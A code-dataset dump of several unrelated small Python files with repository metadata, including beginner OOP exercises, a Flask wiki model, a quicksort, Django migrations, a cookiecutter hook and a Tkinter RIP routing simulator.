# -*- coding: utf-8 -*- import math class Person: def __init__(self, name): self.name = name def say_hello(self): print('hello ,my name is', self.name) person = Person('wy') person.say_hello() class Robot: """表示有一个带有名字的机器人。""" # 一个类变量,用来计数机器人的数量 population = 0 def __init__(self, name): """初始化数据""" self.name = name print("(Initializing {})".format(self.name)) # 当有人被创建时,机器人 # 将会增加人口数量 Robot.population += 1 def die(self): """我挂了。""" print("{} is being destroyed!".format(self.name)) Robot.population -= 1 if Robot.population == 0: print("{} was the last one.".format(self.name)) else: print("There are still {:d} robots working.".format(Robot.population)) def say_hi(self): """来自机器人的诚挚问候 没问题,你做得到。""" print("Greetings, my masters call me {}.".format(self.name)) @classmethod def how_many(cls): """打印出当前的人口数量""" print("We have {:d} robots.".format(cls.population)) droid1 = Robot("R2-D2") droid1.say_hi() Robot.how_many() droid2 = Robot("c-3P0") droid2.say_hi() Robot.how_many() print("\nRobots can do some work here.\n") print("Robots have finished their work. So let's destroy them.") droid1.die() droid2.die() Robot.how_many() class SchoolMember: def __init__(self, name, age): self.name = name self.age = age print('(initialized SchoolMember :{})'.format(self.name)) def tell(self): print('name :{} age :{} '.format(self.name, self.age), end=' ') class Teacher(SchoolMember): def __init__(self, name, age, salary): SchoolMember.__init__(self, name, age) self.salary = salary print('initialized Teacher :{}'.format(self.name)) def tell(self): SchoolMember.tell(self) print('salary :{}'.format(self.salary)) class Student(SchoolMember): """代表一位学生。""" def __init__(self, name, age, marks): SchoolMember.__init__(self, name, age) self.marks = marks print('(Initialized Student: {})'.format(self.name)) def tell(self): SchoolMember.tell(self) print('Marks: "{:d}"'.format(self.marks)) t = Teacher('mike', 40, 30000) s = Student('tom', 25, 75) members = [t, s] for member in members: member.tell() def move(start_x, start_y, step, angle=0): """ :param start_x: 初始横坐标 :param start_y: 初始纵坐标 :param step: 行驶步数 :param angle: 行驶角度 :return: 新坐标 """ nx = start_x + step * math.cos(angle) ny = start_y - step * math.sin(angle) return nx, ny x, y = move(100, 100, 60, float(math.pi / 6)) print(x, y) def power(x, n): """ :param x: 底数 :param n: 基数 :return: x^n """ result = 1 while n > 0: result = result * x n = n - 1 return result print('2^3: ', power(2, 3)) def calac(*numbers): ''' :param numbers: list / tuple 的元素( a,b,c……) :return: a2 + b2 + c2 + …… ''' num_sum = 0 for n in numbers: num_sum = num_sum + n * n return num_sum print(calac(1, 2, 3)) nums = [1, 2, 3] print(calac(*nums)) def person(name, age, **kw): ''' :param name: 姓名 :param age: 年龄 :param kw: 关键字参数,可以传入0/任意个参数 ''' print('name: ', name, 'age: ', age, 'other: ', kw) print(person('mike', 39)) print(person('mike2', 39, city='beijing')) print(person('mike3', 39, city='bj', job='engineer')) # 限制关键字参数的名字 def person2(name, age, *, city, job): return name, age, city, job print(person2('jack', 24, city='beijing', job='engineer')) # 参数组合 def f1(a, b, c=0, *args, **kw): print('a=: ', a, 'b=: ', b, 'c= ', c, 'args =', args, 'kw =', kw) def f2(a, b, c=0, *, d, **kw): print('a =', a, 'b =', b, 'c =', c, 'd =', d, 'kw =', kw) f1(1,2) f1(1,2,3) f1(1,2,3,'a','b') f1(1,2,3,'a','b',x='1') f2(1,2,d=99,ext=None) # *args 是可变参数 arg接受的是一个tuple # **kw是关键字参数 kw接受的是dict def fact(n): if n==1: return 1 return n * fact(n-1) print(fact(4)) def fact(n): return fact_iter(n,1) def fact_iter(num,product): if num==1: return product return fact_iter(num-1,num*product)
[ "wang077@qq.com" ]
wang077@qq.com
1beb1144c7b56097989fcdabaaa2c9198a738b49
fcf91774105f020482c3c07632c0ee462a6d1394
/uwiki/models/media/page.py
ed20e28e9db6181b83f241125db6c8363103dcb3
[]
no_license
mikeboers/uWiki
fcac466e82d16b2ed219d06b834b766e7a9de43e
3c9b0a7ab07a550f52f5d5d38105df901d5a3801
refs/heads/master
2023-06-08T05:53:50.066814
2018-03-05T18:03:45
2018-03-05T18:03:45
15,181,192
4
0
null
null
null
null
UTF-8
Python
false
false
725
py
import flask import wtforms as wtf from .core import Media class Page(Media): __mapper_args__ = dict( polymorphic_identity='page', ) _url_key = 'wiki' class form_class(Media.form_class): content = wtf.TextAreaField(validators=[wtf.validators.Required()]) def prep_form(self, form): # Reasonable defaults for first edit. if not self.id: form.content.data = '# ' + self.title def get_form_content(self, form): return form.content.data def handle_typed_request(self, version, type_): if type_ in ('md', 'markdown', 'txt'): return version.content, 200, [('Content-Type', 'text/plain')] flask.abort(404)
[ "mikeb@loftysky.com" ]
mikeb@loftysky.com
34b66bfddd0bd241244a688c02fb17306a45dc52
9561f31243f5ac59dd4c75e67b14b0aa0e320f32
/dummy2.py
1a9bf88505d8a09823b11df9cb4593070bb378e0
[]
no_license
Rikitardi/dobotPA
85a662395ba54902432ca2d44b7e34c2c8b108bb
7da8c1e4789a579563aee29ab2141284e9287ecc
refs/heads/master
2020-05-04T15:48:42.848083
2019-07-04T13:36:03
2019-07-04T13:36:03
179,257,277
0
1
null
2019-07-04T13:36:04
2019-04-03T09:32:28
Python
UTF-8
Python
false
false
533
py
from Lib.riset import setport,setsocket # import importlib from Lib.manual_move import manualmove # from time import sleep from pydobot import Dobot from pydobot.dobot import Dobot from pydobot.JOG import JOG from pydobot.PTP import PTP # sleep(2) print("ajig") setport = setport() mainset = setport.mainset() # jog = setport.jog() # mport = setport.m_port() # mmove = manualmove(mport) # PTP = PTP(mport) # importlib.reload(Lib.manual_move) print("pisah") mainset = setport.mainset() # setport # mainset
[ "rt.ardiansyah@gmail.com" ]
rt.ardiansyah@gmail.com
789546f8c14709456c6b89b810fe22388223e159
504e8af08d369154b4524b2be690cd03916b8a3a
/pygments_redis/__init__.py
8b7f9767560b338e6b1d6f359bbfc99df28a38b4
[ "MIT" ]
permissive
isabella232/pygments-redis
b1c86b3f09053c7c93f4d68e576da0bde2505263
f580c0f0c3135473235e20187f1315e5e9d07544
refs/heads/master
2022-11-09T17:06:13.557336
2020-06-15T18:39:59
2020-06-15T18:39:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
52
py
from pygments_redis.redis import RedisLexer # noqa
[ "brad.solomon.1124@gmail.com" ]
brad.solomon.1124@gmail.com
0c01a905f9252bf6960a5780682e2f3280f6f3fe
227a5813deead4ebb33176711da39ec57c5c1f1c
/sort.py
772f838ec9241088cea859a8f932b7a328f0cbf9
[ "Apache-2.0" ]
permissive
champs/tricks
dba338ad887e20d1f3210ccba8b214c565aed549
503ee3e69ffb9553429833d79c3ffb17a6b31ea9
refs/heads/master
2020-04-05T14:03:15.394368
2018-03-07T22:07:26
2018-03-07T22:07:26
41,399,874
0
1
null
null
null
null
UTF-8
Python
false
false
420
py
""" quick sort """ def sort(arr): less = [] eq = [] more = [] if len(arr) <= 1: return arr pivot = arr[0] for i in arr: if i < pivot: less.append(i) elif i == pivot: eq.append(i) else: more.append(i) return sort(less) + eq + sort(more) if __name__ == '__main__': arr = [1, 2, 3, 99, 44, 22, 55] print sort(arr)
[ "champ@exablox.com" ]
champ@exablox.com
8c23e89c6fcb8188a5ff098bb80e78800f3d3cb2
d12277dd545cbdc9af98fb53f174a5986c42c94d
/week3/Procentnaya stavka.py
34d6d91f392f960c304b85f72723f71b825fccf0
[]
no_license
maoz666/maoz-rep
43f5d43c21900c8f3138664f6fb6d2082adb89e2
13963da04a3619b3bf77e40c91638d4a2c615a08
refs/heads/master
2022-05-17T12:59:17.088777
2022-03-03T12:09:30
2022-03-03T12:09:30
229,946,055
0
0
null
null
null
null
UTF-8
Python
false
false
645
py
'''Процентная ставка по вкладу составляет P процентов годовых, которые прибавляются к сумме вклада. Вклад составляет X рублей Y копеек. Определите размер вклада через год. При решении этой задачи нельзя пользоваться условными инструкциями и циклами.''' p = int(input()) rub = int(input()) kop = int(input()) totalkop = (rub * 100 + kop) + (rub * 100 + kop) * p / 100 rub = int(totalkop // 100) kop = int(totalkop % 100) print(rub, kop)
[ "artem.peshkov@gmail.com" ]
artem.peshkov@gmail.com
41b7feef50460048b24f08e248afc28415f619b1
41848a06943b564f1e94e647f10e22f4758ee902
/Lab2/demo.py
e48b3ded42f4a64f07738103a775af67b8316614
[]
no_license
tabzhangjx/network_Lab
7fbefa9eaec7c3da83797e58e2e2c334235ae4d8
3a85f341b7b1efade2a081a0174bac1f8efdf346
refs/heads/master
2020-04-06T21:12:21.555390
2018-12-14T03:24:07
2018-12-14T03:24:07
157,570,287
0
0
null
null
null
null
UTF-8
Python
false
false
13,954
py
from tkinter import * import threading,time,copy,os lock = threading.Lock() #进程锁 tables = [] #网络上的路由表的集合 table_new = [] #更新后的路由表的集合 #通过这两个表的交换赋值来更新 luyou_wrong = '--' #故障的表的名字(默认一次只能故障一个路由) #每次更新控件显示的字符串 str_send = '' #发送了自己路由表的信息 str_update = '' #更新了自己路由表的信息 def time_now():#用于获得当前时间 return str(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())) def main():#主函数 def add(data,tables):#由用户添加每个路由器的初始路由表 if tables: flag = False for i in range(len(tables)): if data[0] == tables[i][0]: if [data[1],data[2],data[3]] in tables[i][1]: string = '路由器%s中已有该表项(目标地址:%s,距离:%d,下一跳:%s)' % (data[0],data[1],data[2],data[3]) else: tables[i][1].append([data[1],data[2],data[3]]) string = '向路由器%s添加了表项(目标地址:%s,距离:%d,下一跳:%s)' % (data[0],data[1],data[2],data[3]) flag = True break if not flag: tables.append([data[0],[[data[1],data[2],data[3]]]]) string = '添加了%s路由器\n向%s路由器添加了表项(目标地址:%s,距离:%d,下一跳:%s)' % (data[0],data[0],data[1],data[2],data[3]) else: tables.append([data[0],[[data[1],data[2],data[3]]]]) string = '添加了%s路由器\n向%s路由器添加了表项(目标地址:%s,距离:%d,下一跳:%s)' % (data[0],data[0],data[1],data[2],data[3]) log(string) return tables def send(table):#向相邻网络发送自己的路由表 string = table[0] + '向相邻路由发送了自己的路由表 ' global str_send str_send += time_now() + '\n' + string + '\n' def update(table,tables,table_new):#更新自己的路由表 global str_update table = copy.deepcopy(table) tables = copy.deepcopy(tables) #找出相邻的路由,并且得到更新表 tar = [] for i in table[1]: if i[1]==1: tar.append(i[0]) tables.remove(table) tables_n = copy.deepcopy(tables) for each in tables: flag = False for t in each[1]: if t[0] in tar and t[1] == 1: flag = True break else: pass if not flag: tables_n.remove(each) #开始更新 for each in tables_n: str_update += '\n' + time_now() + '\n路由器%s收到了来自%s的更新表\n' % (table[0],each[0]) table_n = copy.deepcopy(table) for each in tables_n: n = each[0] for tu in each[1]: tu[1] += 1 if tu[1] == 17: tu[1] = 16 tu[2] = n f = False for t in table_n[1]: if t[0] == tu[0]:#如果目标网络相同 if t[2] == n:#如果下一跳相同 table_n[1][table_n[1].index(t)] = tu str_update += '\n' + time_now() + '\n路由器%s从路由器%s更新了表项:\n(目标地址:%s,距离:%d,下一跳:%s)——>\n(目标地址:%s,距离:%d,下一跳:%s)\n' % (table[0],n,t[0],t[1],t[2],tu[0],tu[1],tu[2]) else:#下一跳不同 if (tu[1] < t[1] and t[1] != 16) or tu[1] == 16: table_n[1][table_n[1].index(t)] = tu str_update += '\n' + time_now() + '\n路由器%s从路由器%s更新了表项:\n(目标地址:%s,距离:%d,下一跳:%s)——>\n(目标地址:%s,距离:%d,下一跳:%s)\n' % (table[0],n,t[0],t[1],t[2],tu[0],tu[1],tu[2]) f = True break if not f: table_n[1].append(tu) str_update += '\n' + time_now() + '\n路由器%s从路由器%s添加了新的表项:\n(目标地址:%s,距离:%d,下一跳:%s)\n' % (table[0],n,tu[0],tu[1],tu[2]) #故障处理 for i in table_n[1]: if i[0] == luyou_wrong and i[1] == 1: i[1] = 16 lock.acquire() table_new.append(table_n) lock.release() def threads(tables,table_new):#多线程发送和更新,做到每一个路由器同时发送和更新(设置接收信息的时间为1s) global str_send global str_update str_send = '' str_update = '' threadpool_1 = [] for each in tables: th = threading.Thread(target= send, args= (each,)) threadpool_1.append(th) for th in threadpool_1: th.start() for th in threadpool_1: threading.Thread.join(th) t2.config(state = NORMAL) t2.insert(INSERT,'--------------------------------------------------\n发送情况:\n') t2.insert(INSERT,str_send) t2.see(END) t2.config(state = DISABLED) time.sleep(1) threadpool_2 = [] for each in tables: th = threading.Thread(target= update, args= (each,tables,table_new)) threadpool_2.append(th) for th in threadpool_2: th.start() for th in threadpool_2: threading.Thread.join(th) t2.config(state = NORMAL) t2.insert(INSERT,'--------------------------------------------------\n更新情况:\n') t2.insert(INSERT,str_update) t2.see(END) t2.config(state = DISABLED) return table_new def log(string):#更新日志的函数 string = time_now() + '\n' + string + '\n' t2.config(state = NORMAL) t2.insert(INSERT,string) t2.see(END) t2.config(state = DISABLED) def show_add(tables):#用户添加初始路由表时更新路由信息 string = '' string += '--------------------------------------------------\n' string += '更新时间:' + str(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())) + '\n' for each in tables: string += '路由器' + each[0]+':\n' for i in range(len(each[1])): string += '('+str(i+1) + ')' + ' 目标网络:'+ each[1][i][0] + ' 距离:'+ str(each[1][i][1]) + ' 下一跳:' + each[1][i][2] + '\n' t1.config(state = NORMAL) t1.delete(1.0,END) t1.insert(INSERT,string) t1.see(END) t1.config(state = DISABLED) def show_up(tables):#每次更新路由表时更新路由信息 string = '' string += '--------------------------------------------------\n' string += '更新时间:' + str(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())) + '\n' for each in tables: string += '路由器' + each[0]+':\n' for i in range(len(each[1])): string += '('+str(i+1) + ')' + ' 目标网络:'+ each[1][i][0] + ' 距离:'+ str(each[1][i][1]) + ' 下一跳:' + each[1][i][2] + '\n' t1.config(state = NORMAL) t1.insert(INSERT,string) t1.see(END) t1.config(state = DISABLED) #控件的callback函数 def add_callback(tables):#添加按钮 distance = e_distance.get() if distance.isdigit(): name = e_name.get() net_tar = e_net_tar.get() next_ = e_next_.get() if name != '' and net_tar != '' and distance != '': distance = int(distance) if distance>=1 and distance<=16: data = [name,net_tar,distance,next_] tables = add(data,tables) show_add(tables) else: messagebox.showinfo('警告','距离应当为1-16的整数!') else: messagebox.showinfo('警告','路由器名称,目标网络和距离不能为空!') else: messagebox.showinfo('警告','距离应当为1-16的整数!') def update_callback(tables,table_new):#更新按钮 table_new.clear() tables_n = threads(tables,table_new) tables.clear() tables.extend(tables_n) show_up(tables) return tables def wrong_callback(tables):#故障按钮 global luyou_wrong name_w = e_name_w.get() if name_w == '': messagebox.showinfo('警告','故障网络名称不能为空!') else: luyou_wrong = name_w messagebox.showinfo('通知','网络%s已设置为故障!' % name_w) t2.config(state = NORMAL) t2.insert(INSERT, '网络%s故障!' % name_w) t2.see(END) t2.config(state = DISABLED) def save_info_callback():#保存路由信息 if not t1.get(1.0,END).isspace(): file = filedialog.asksaveasfilename(defaultextension = '.txt', filetypes = [('txt,TXT','.txt'),('ALL','.*')]) os.chdir(os.path.dirname(file)) f = open(os.path.basename(file),'w') f.write(t1.get(1.0,END)) f.close() messagebox.showinfo('通知','路由表信息已保存在%s中!' % file) else: messagebox.showinfo('警告','路由表信息为空!') def save_log_callback():#保存日志信息 if not t2.get(1.0,END).isspace(): file = filedialog.asksaveasfilename(defaultextension = '.txt', filetypes = [('txt,TXT','.txt'),('ALL','.*')]) os.chdir(os.path.dirname(file)) f = open(os.path.basename(file),'w') f.write(t2.get(1.0,END)) f.close() messagebox.showinfo('通知','日志信息已保存在%s中!' % file) else: messagebox.showinfo('警告','路由表信息为空!') #GUI界面 root = Tk() root.title('基于距离向量算法的路由协议的实现') #左边的输入框 m_l = PanedWindow(showhandle = True, sashrelief = SUNKEN) m_l.pack(fill = BOTH, expand = 1, padx = 10, pady = 10) frame_l = LabelFrame(m_l, text = '输入路由信息:', font = 18, padx = 5, pady = 5) frame_l.pack(padx = 10, pady = 10) Label(frame_l, text = '路由器名称:', font = 16).grid(row = 0, column = 0, sticky = W, pady = 5) Label(frame_l, text = '目的网络:', font = 16).grid(row = 1, column = 0, sticky = W, pady = 5) Label(frame_l, text = '距离:', font = 16).grid(row = 2, column = 0, sticky = W, pady = 5) Label(frame_l, text = '下一跳:', font = 16).grid(row = 3, column = 0, sticky = W, pady = 5) e_name = Entry(frame_l, justify = CENTER) e_name.grid(row = 0, column = 1) e_net_tar = Entry(frame_l, justify = CENTER) e_net_tar.grid(row = 1, column = 1) e_distance = Entry(frame_l, justify = CENTER) e_distance.grid(row = 2, column = 1) e_next_ = Entry(frame_l, justify = CENTER) e_next_.grid(row = 3, column = 1) b_add = Button(frame_l, text = '添加', font = 18, command = lambda : add_callback(tables), padx = 20, pady = 5) b_add.grid(row = 4, column = 0, pady = 5) b_start = Button(frame_l, text = '更新', font = 18, command = lambda : update_callback(tables,table_new), padx = 20, pady = 5) b_start.grid(row = 4, column = 1, pady = 5) Label(frame_l, text = '', font = 16).grid(row = 5, column = 0, sticky = W, pady = 5) Label(frame_l, text = '模拟网络故障:', font = 18).grid(row = 6, column = 0, sticky = W, pady = 5) Label(frame_l, text = '故障网络名称:', font = 16).grid(row = 7, column = 0, sticky = W, pady = 5) e_name_w = Entry(frame_l, justify = CENTER) e_name_w.grid(row = 7, column = 1) b_w = Button(frame_l, text = '故障', font = 18, command = lambda : wrong_callback(tables), padx = 20, pady = 5) b_w.grid(row = 8, column = 0, pady = 5, columnspan = 2) Label(frame_l, text = '', font = 16).grid(row = 9, column = 0, sticky = W, pady = 5) Label(frame_l, text = '保存信息:', font = 18).grid(row = 10, column = 0, sticky = W, pady = 5) b_save_info = Button(frame_l, text = '保存路由表', font = 16, command = save_info_callback, padx = 10, pady = 5) b_save_info.grid(row = 11, column = 0, pady = 5) b_save_log = Button(frame_l, text = '保存日志', font = 16, command = save_log_callback, padx = 10, pady = 5) b_save_log.grid(row = 11, column = 1, pady = 5) #右边的信息和log m_r = PanedWindow(orient = VERTICAL, showhandle = True, sashrelief = SUNKEN) frame1 = LabelFrame(m_r, text = '路由表信息:', font = 16, padx = 5, pady = 5) frame1.pack(padx = 10, pady = 10) sb1 = Scrollbar(frame1) sb1.pack(side = RIGHT, fill = Y) t1 = Text(frame1, width = 60, height = 20, font = 16, state = DISABLED, yscrollcommand = sb1.set) t1.pack(side = LEFT, fill = BOTH) sb1.config(command = t1.yview) m_r.add(frame1) frame2 = LabelFrame(m_r, text = '日志信息:', font = 16, padx = 5, pady = 5) frame2.pack(padx = 10, pady = 10) sb2 = Scrollbar(frame2) sb2.pack(side = RIGHT, fill = Y) t2 = Text(frame2, width = 60, height = 15, font = 16, state = DISABLED, yscrollcommand = sb2.set) t2.pack(side = LEFT, fill = BOTH) sb2.config(command = t2.yview) m_r.add(frame2) m_l.add(frame_l) m_l.add(m_r) mainloop() if __name__=='__main__': main()
[ "tabzhangjx@outlook.com" ]
tabzhangjx@outlook.com
e0b801567a97d4e2e4316724893f75af79cc831f
5d355ab41cf66463bba668c57baf04e7e40ab3f2
/fall2018/morality/scripts/test_judge_service.py
5a8c086ca368bde82fb94dcdb5e64f3cb5b209b9
[]
no_license
rpiRobotics/Robotics1-Projects
5d83d5e7a12e21945399ee502bb27c41e2f58085
60e9bf8418248804390ed79ef7e7a9355eada611
refs/heads/master
2020-06-10T11:34:49.638473
2018-12-18T05:26:42
2018-12-18T05:26:42
75,967,634
6
49
null
2017-12-18T21:35:13
2016-12-08T19:15:37
Matlab
UTF-8
Python
false
false
683
py
#!/usr/bin/env python3 import morality.srv import duckietown_msgs import rospy import sys def judge(duck_list): rospy.wait_for_service('judgement/judge') judge_svc = rospy.ServiceProxy('judgement/judge', morality.srv.judge) ducks = duckietown_msgs.msg.ObstacleProjectedDetectionList() for d in duck_list: duck = duckietown_msgs.msg.ObstacleProjectedDetection() duck.location.x = d duck.location.y = 20 duck.type.type = duckietown_msgs.msg.ObstacleType.DUCKIE duck.distance = 3.14 ducks.list.append(duck) return judge_svc(0, ducks) try: print(judge([float(arg) for arg in sys.argv[1:]])) except rospy.ServiceException as e: print("Failed to call service: ", e)
[ "noreply@github.com" ]
noreply@github.com
307fbf67242348fce66f35dde1b9189a854f6853
7ecf3b5e59aadc52ae3bb388b6ac80f826365983
/app/migrations/0005_auto_20191003_1228.py
1f3d281b9313ab605a85a26b84e43dd8e7e006db
[]
no_license
AlexKotl/tennis-friends
4fb0b817836b01f898b8ef9c03751a3557cc5f66
dd0c9c5e4efe78a4198f026b3a40a8a278d83368
refs/heads/master
2022-05-20T15:29:35.697321
2019-11-28T19:20:31
2019-11-28T19:20:31
210,430,027
0
0
null
2022-04-22T22:30:53
2019-09-23T18:56:32
JavaScript
UTF-8
Python
false
false
551
py
# Generated by Django 2.2.5 on 2019-10-03 12:28 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app', '0004_auto_20191001_1419'), ] operations = [ migrations.AlterField( model_name='player', name='email', field=models.CharField(max_length=180, unique=True), ), migrations.AlterField( model_name='player', name='username', field=models.CharField(max_length=255), ), ]
[ "slicer256@gmail.com" ]
slicer256@gmail.com
7c3ae23e737da503c2ed2d9af074a6a2027c0b62
46b07ab6f3e80b626adbe4d2078df5ff873a3c8e
/blog/migrations/0001_initial.py
763b1758e1cb943ff0bc6fd853042793c4eb21b8
[]
no_license
tayeaina07/portfolio-project
18834adbe02cb34548a46f7c8637f6f9f9236fcb
e1c0b9ff099361fa3a8403092f60b52c990b4cf6
refs/heads/master
2022-11-16T10:15:26.861927
2020-07-04T20:48:58
2020-07-04T20:48:58
275,672,091
0
0
null
null
null
null
UTF-8
Python
false
false
653
py
# Generated by Django 2.2.13 on 2020-06-29 11:22 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Blog', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=255)), ('pub_date', models.DateTimeField()), ('body', models.TextField()), ('image', models.ImageField(upload_to='images/')), ], ), ]
[ "taye1232002@yahoo.com" ]
taye1232002@yahoo.com
6509cd712e1dfd161af80f090805ac311ca7c652
790cf46242e0bbb0080b64fdaecfecdcb20717f2
/dTree/tree.py
dcb2843d8c50cb25b8ef2758406152d8fb77a5ff
[]
no_license
c0dehvb/Machine-learning
51f0c32b9fdfc59169e43f352b164ee91ca8dcef
8029a400051ef06b30994667b2991ee6ef1bd614
refs/heads/master
2021-08-30T02:03:34.167208
2017-12-15T16:18:12
2017-12-15T16:18:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,206
py
from math import log # 计算香农熵,用于评估一个结果集的复杂程度(结果越大,则resultSet中的元素越混乱) def calc_shannon_ent(resultSet): num_entries = len(resultSet) labelCounts = {} for each_result in resultSet: if each_result not in labelCounts.keys(): labelCounts[each_result] = 0 labelCounts[each_result] += 1 shannon_ent = 0.0 for key in labelCounts: prob = float(labelCounts[key])/num_entries shannon_ent -= prob * log(prob, 2) return shannon_ent # 从数据集中筛选满足条件data_set[:,axis] == value,对应的结果值(结果集为result_set) def fetch_result_with_feature(data_set, axis, value, result_set): ret_data_set = [] for i in range(len(data_set)): if data_set[i][axis] == value: ret_data_set.append(result_set[i]) return ret_data_set # 筛选axis特征值为value的数据集出来,并删去axis特征 def split_data_set(data_set, axis, value, result_set): ret_data_set = [] ret_result_set = [] for i in range(len(data_set)): each_data = data_set[i] if each_data[axis] == value: l = each_data[:axis] l.extend(each_data[axis+1:]) ret_data_set.append(l) ret_result_set.append(result_set[i]) return ret_data_set, ret_result_set def choose_best_feature_to_split(data_set, result_set): num_features = len(data_set[0]) base_entropy = calc_shannon_ent(result_set) base_info_gain = 0.0 base_feature = -1 # 尝试每种特征划分方式,找出香农熵减少最多的特征划分方式为最优划分 for i in range(num_features): feat_list = [example[i] for example in data_set] unique_vals = set(feat_list) new_entropy = 0.0 # 计算每种划分方式的信息熵 for value in unique_vals: sub_result_set = fetch_result_with_feature(data_set, i, value, result_set) prob = len(sub_result_set) / float(len(result_set)) new_entropy += prob * calc_shannon_ent(sub_result_set) # 计算每种特征划分方式的香农熵收益 info_gain = base_entropy - new_entropy # 选取信息增益最大的那种划分方式的特征作为最优划分特征 if info_gain > base_info_gain: base_info_gain = info_gain base_feature = i return base_feature # 当数据集的所有特征都划分完毕后,某些叶子节点中的依然存在多种类型 # 则我们定义这个叶子的类型为该叶子节点下的类型出现频率最高的那种类型 def majority_class(class_list): class_count = {} max_count = 0 ret_class = class_list[0] for vote in class_list: # 计算每种类型的出现次数 if vote not in class_count.keys(): class_count[vote] = 0 class_count[vote] += 1 # 记录出现频率最高的类型 if class_count[vote] > max_count: max_count = class_count[vote] ret_class = vote return ret_class # 构造决策树(labels为数据集data_set中每个特征对应的名称) def create_tree(data_set, result_set, labels): # 如果该节点下剩下都是同一类型,则不用再继续划分 if result_set.count(result_set[0]) == len(result_set): return result_set[0] # 如果划分到该节点时,已没有更多特征值能继续划分,则抽取出现频率最高的类型代表该节点的类型 if len(data_set[0]) == 0: return majority_class(result_set) # 选择最优划分特征 best_feat = choose_best_feature_to_split(data_set, result_set) best_feat_label = labels[best_feat] my_tree = {best_feat_label:{}} del labels[best_feat] example = [example[best_feat] for example in data_set] unique_vals = set(example) # 枚举最优划分特征的特征值,划分出多个树节点 for value in unique_vals: sub_data_set, sub_result_set = split_data_set(data_set, best_feat, value, result_set) my_tree[best_feat_label][value] = create_tree(sub_data_set, sub_result_set, labels[:]) return my_tree
[ "502291755@qq.com" ]
502291755@qq.com
1c126f772b296ae783e726c73c82945ff729998a
72f199782e8cbd5e59e2bc9135dcaa7c6fb3f833
/hooks/post_gen_project.py
200bbdaf3a66c3051dd481266a94b82c7f3bc6d1
[ "MIT", "JSON" ]
permissive
westonkjones/dash-collapsible-tree
80b9f49dcef5b530bbc5d806fbf88d75f3d2bc0c
9fbd43de228ea5ffa85e25b68db4576cb56284c1
refs/heads/master
2023-01-08T10:10:47.940656
2019-08-20T17:25:29
2019-08-22T20:28:41
201,374,885
1
0
null
2023-01-04T06:44:31
2019-08-09T02:38:15
Python
UTF-8
Python
false
false
2,479
py
from __future__ import print_function import shlex import sys import os import subprocess install_deps = '{{cookiecutter.install_dependencies}}' project_shortname = '{{cookiecutter.project_shortname}}' is_windows = sys.platform == 'win32' if is_windows: python_executable = os.path.join('venv', 'Scripts', 'python') else: python_executable = os.path.join('venv', 'bin', 'python') def _execute_command(cmd): line = shlex.split(cmd, posix=not is_windows) print('Executing: {}'.format(cmd)) # call instead of Popen to get realtime output status = subprocess.call(line, shell=is_windows) if status != 0: print('post_gen_project command failed: {}'.format(cmd), file=sys.stderr) sys.exit(status) return status if install_deps != 'True': print('`install_dependencies` is false!!', file=sys.stderr) print('Please create a venv in your project root' ' and install the dependencies in requirements.txt', file=sys.stderr) sys.exit(0) # Create a virtual env if sys.version.split(' ')[0] > '3.2': venv = '{} -m venv venv'.format(sys.executable) else: venv = 'virtualenv venv' # noinspection PyBroadException try: _execute_command(venv) except BaseException: print( ''' venv creation failed. Make sure you have installed virtualenv on python 2. ''', file=sys.stderr ) raise print('\n\nInstalling dependencies\n', file=sys.stderr) # Install python requirements. _execute_command( r'{} -m pip install -r requirements.txt'.format(python_executable) ) # Install node_modules _execute_command('npm install --ignore-scripts') # Run the first build print('Building initial bundles...') _execute_command('npm run build:js') # Activating the venv and running the command # doesn't work on linux with subprocess. # The command need to run in the venv we just created to use the dash cmd. # But it also needs shell to be true for the command to work. # And shell doesn't work with `npm run` nor `. venv/bin/activate` # The command works in a terminal. _execute_command("{} -m dash.development.component_generator" " ./src/lib/components" " {{cookiecutter.project_shortname}}" " -p package-info.json" " --r-prefix '{{ cookiecutter.r_prefix }}'" .format(python_executable)) print('\n{} ready!\n'.format(project_shortname)) sys.exit(0)
[ "wes.jones@muserk.com" ]
wes.jones@muserk.com
f043f43f24358beb9347e0cfaca0c735c6a4b749
99206e2d7bd338e7760be8161c03bf58badc600b
/kth num.py
cba44c7076ce4128aa34da8cee35f5c7e6248852
[]
no_license
Arun0033/Guvi
524987307f1b58229293c81f82ab8e9dc9949743
f49d4b2892bcf6b17ab4bc7acd761300ec9d9043
refs/heads/master
2020-05-25T23:00:35.506103
2019-07-21T04:27:32
2019-07-21T04:27:32
188,026,095
0
0
null
null
null
null
UTF-8
Python
false
false
126
py
num,n1=map(int,input().split()) m=list(map(int,input().split())) for i in range(1,num+1): if i==n1: print(m[i-1])
[ "noreply@github.com" ]
noreply@github.com
582302c3619958b67faf74202cdf4418340616c1
b2f8c41358f6c6f4ce78328695a7b4f96adf806b
/staff_crm/apps.py
c4f1bce309a4b15bd048c1a4cfc2964dc43f754b
[]
no_license
funsojoba/staff_management_api
6f472ea0a53095b6860969cf88f87b50fea69729
792bc652ec61e3f0d16bab1ff36cf72643161dbe
refs/heads/main
2023-05-24T04:45:20.895495
2021-06-13T19:45:07
2021-06-13T19:45:07
373,336,004
0
0
null
null
null
null
UTF-8
Python
false
false
149
py
from django.apps import AppConfig class StaffCrmConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'staff_crm'
[ "42432746+funsojoba@users.noreply.github.com" ]
42432746+funsojoba@users.noreply.github.com
1fafae8596361f603ebd25e787bd4be999a3be92
a1c8ef223efcf5561ab5aac0e7265010f6544fdc
/src/game_start.py
be8678785efc0fad965e9bde0bfd53d5cf5fe464
[ "MIT" ]
permissive
islamariya/python_console_lotto_game
a49b9750ef17adf0d08b9e4e681d61f6da8ec4cc
e700251b720c90747f769b5c3a5deb7017bbaf81
refs/heads/master
2020-12-08T12:27:54.701936
2020-02-20T07:40:11
2020-02-20T07:40:11
232,981,327
0
0
null
null
null
null
UTF-8
Python
false
false
621
py
